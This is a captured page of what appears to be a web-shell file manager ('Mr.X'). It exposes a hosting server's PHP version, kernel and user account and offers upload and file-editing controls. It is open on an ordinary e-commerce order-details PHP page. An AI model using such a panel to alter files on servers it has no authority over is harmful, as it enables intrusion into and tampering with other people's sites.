🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:order-details.php
<?php require_once __DIR__ . '/../includes/config.php'; require_once __DIR__ . '/../includes/db.php'; require_once __DIR__ . '/../includes/functions.php'; $page = 'orders'; $page_title = 'Order Details'; if (!is_logged_in()) { header('Location: ' . SITE_URL . 'pages/login.php'); exit; } $order_id = intval($_GET['id'] ?? 0); $order = null; if ($order_id) { $stmt = $db->prepare("SELECT * FROM orders WHERE id = ? AND user_id = ?"); $stmt->execute([$order_id, $_SESSION['user_id']]); $order = $stmt->fetch(); } if (!$order) { header('Location: ' . SITE_URL . 'pages/orders.php'); exit; } $order_items = get_order_items($order['id']); require_once '../includes/header.php'; require_once '../includes/navbar.php'; ?> <main> <section style="background: var(--light-marble); padding: 20px 0;"> <div class="container"> <nav aria-label="breadcrumb"> <ol class="breadcrumb mb-0"> <li class="breadcrumb-item"><a href="<?= SITE_URL ?>">Home</a></li> <li class="breadcrumb-item"><a href="<?= SITE_URL ?>pages/orders.php">My Orders</a></li> <li class="breadcrumb-item active"><?= htmlspecialchars($order['order_number']) ?></li> </ol> </nav> </div> </section> <section style="padding: 60px 0;"> <div class="container"> <div class="d-flex justify-content-between align-items-center mb-4 flex-wrap gap-2"> <h1 style="font-size: 2rem; margin: 0;">Order #<?= htmlspecialchars($order['order_number']) ?></h1> <span class="badge" style="background: var(--gradient-rose); padding: 8px 20px; border-radius: 20px; font-size: 0.85rem; text-transform: uppercase; color: white; font-weight: 600;"> <?= ucfirst($order['order_status']) ?> </span> </div> <div class="row g-4"> <div class="col-lg-8"> <!-- Order Items --> <div style="background: var(--white); border-radius: 16px; padding: 30px; box-shadow: var(--shadow-sm); margin-bottom: 20px;"> <h3 style="font-size: 1.2rem; margin-bottom: 20px; font-family: var(--font-primary); font-weight: 600;">Order Items</h3> <?php foreach ($order_items as $item): $image_url = $item['product_image'] ? UPLOADS_URL . 'products/' . $item['product_image'] : ASSETS_PATH . 'images/no-image.jpg'; ?> <div style="display: flex; gap: 20px; padding: 15px 0; border-bottom: 1px solid var(--gray-200);"> <img src="<?= $image_url ?>" alt="<?= htmlspecialchars($item['product_name']) ?>" style="width: 80px; height: 80px; border-radius: 12px; object-fit: cover;"> <div style="flex: 1;"> <h6 style="font-family: var(--font-primary); font-size: 1rem; margin-bottom: 5px;"><?= htmlspecialchars($item['product_name']) ?></h6> <?php if ($item['variation_details']): ?> <small class="text-muted"><?= htmlspecialchars($item['variation_details']) ?></small><br> <?php endif; ?> <small class="text-muted">Qty: <?= $item['quantity'] ?> × <?= format_currency($item['price']) ?></small> </div> <div style="font-weight: 600; color: var(--primary-rose-gold);"> <?= format_currency($item['total']) ?> </div> </div> <?php endforeach; ?> </div> <!-- Order Notes --> <?php if ($order['notes']): ?> <div style="background: var(--white); border-radius: 16px; padding: 30px; box-shadow: var(--shadow-sm); margin-bottom: 20px;"> <h3 style="font-size: 1.2rem; margin-bottom: 15px; font-family: var(--font-primary); font-weight: 600;">Order Notes</h3> <p style="margin: 0; color: var(--gray-700);"><?= nl2br(htmlspecialchars($order['notes'])) ?></p> </div> <?php endif; ?> </div> <div class="col-lg-4"> <!-- Order Summary --> <div style="background: var(--white); border-radius: 16px; padding: 30px; box-shadow: var(--shadow-sm); margin-bottom: 20px;"> <h3 style="font-size: 1.2rem; margin-bottom: 20px; font-family: var(--font-primary); font-weight: 600;">Order Summary</h3> <div style="display: flex; justify-content: space-between; margin-bottom: 10px;"> <span>Subtotal</span> <span><?= format_currency($order['subtotal']) ?></span> </div> <div style="display: flex; justify-content: space-between; margin-bottom: 10px;"> <span>Shipping</span> <span><?= $order['shipping_cost'] > 0 ? format_currency($order['shipping_cost']) : 'FREE' ?></span> </div> <div style="display: flex; justify-content: space-between; margin-bottom: 10px;"> <span>Tax</span> <span><?= format_currency($order['tax']) ?></span> </div> <?php if ($order['discount'] > 0): ?> <div style="display: flex; justify-content: space-between; margin-bottom: 10px; color: var(--success);"> <span>Discount</span> <span>-<?= format_currency($order['discount']) ?></span> </div> <?php endif; ?> <hr> <div style="display: flex; justify-content: space-between; font-size: 1.2rem; font-weight: 600;"> <span>Total</span> <span style="color: var(--primary-rose-gold);"><?= format_currency($order['total']) ?></span> </div> </div> <!-- Address Info --> <div style="background: var(--white); border-radius: 16px; padding: 30px; box-shadow: var(--shadow-sm); margin-bottom: 20px;"> <h3 style="font-size: 1.2rem; margin-bottom: 15px; font-family: var(--font-primary); font-weight: 600;">Shipping Address</h3> <p style="margin: 0; color: var(--gray-700); line-height: 1.7;"> <strong><?= htmlspecialchars($order['first_name'] . ' ' . $order['last_name']) ?></strong><br> <?= htmlspecialchars($order['address_line1']) ?><br> <?php if ($order['address_line2']): ?> <?= htmlspecialchars($order['address_line2']) ?><br> <?php endif; ?> <?= htmlspecialchars($order['city']) ?>, <?= htmlspecialchars($order['state']) ?> <?= htmlspecialchars($order['zip_code']) ?><br> <?= htmlspecialchars($order['country']) ?><br> <i class="fas fa-phone"></i> <?= htmlspecialchars($order['phone']) ?> </p> </div> <a href="<?= SITE_URL ?>pages/orders.php" class="btn-outline-luxury w-100" style="justify-content: center;"> <i class="fas fa-arrow-left"></i> Back to Orders </a> </div> </div> </div> </section> </main> <?php require_once '../includes/footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder